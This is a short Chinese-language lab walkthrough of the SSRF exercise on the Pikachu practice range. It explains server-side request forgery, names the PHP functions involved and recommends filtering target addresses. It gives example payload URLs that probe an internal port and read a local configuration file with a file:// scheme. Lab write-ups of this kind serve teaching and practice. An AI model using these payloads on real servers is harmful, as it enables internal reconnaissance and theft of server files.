pikachu靶場 :十五、SSRF
概述
SSRF(Server-Side Request Forgery:服務器端請求僞造)
其形成的原因大都是由於服務端提供了從其他服務器應用獲取數據的功能,但又沒有對目標地址做嚴格過濾與限制
導致攻擊者可以傳入任意的地址來讓後端服務器對其發起請求,並返回對該目標地址請求的數據
數據流:攻擊者----->服務器---->目標地址
根據後臺使用的函數的不同,對應的影響和利用方法又有不一樣
PHP中下面函數的使用不當會導致SSRF:
file_get_contents()
fsockopen()
curl_exec()
如果一定要通過後臺服務器遠程去對用戶指定(“或者預埋在前端的請求”)的地址進行資源請求,則請做好目標地址的過濾。
SSRF(curl)
點擊鏈接,將訪問下面鏈接得到詩的內容。
https://www.****.com/vul/ssrf/ssrf_curl.php?url=http://www.****.com/vul/ssrf/ssrf_info/info1.php
從鏈接看出,可以以服務器的身份去進行一些攻擊,比如訪問服務器上的文件,比如利用服務器做爲內網探測等,這裏可以簡單測試下。
https://www.****.com/vul/ssrf/ssrf_curl.php?url=http://www.****.com:22
SSRF(file_get_content)
和上面差不多,點擊獲取鏈接。
https://www.****.com/vul/ssrf/ssrf_fgc.php?file=http://www.****.com/vul/ssrf/ssrf_info/info2.php
區別是函數換了,所以用法也有點不一樣,file:///etc/my.cnft就可以直接讀取文件。
https://www.****.com/vul/ssrf/ssrf_fgc.php?file=file:///etc/my.cnft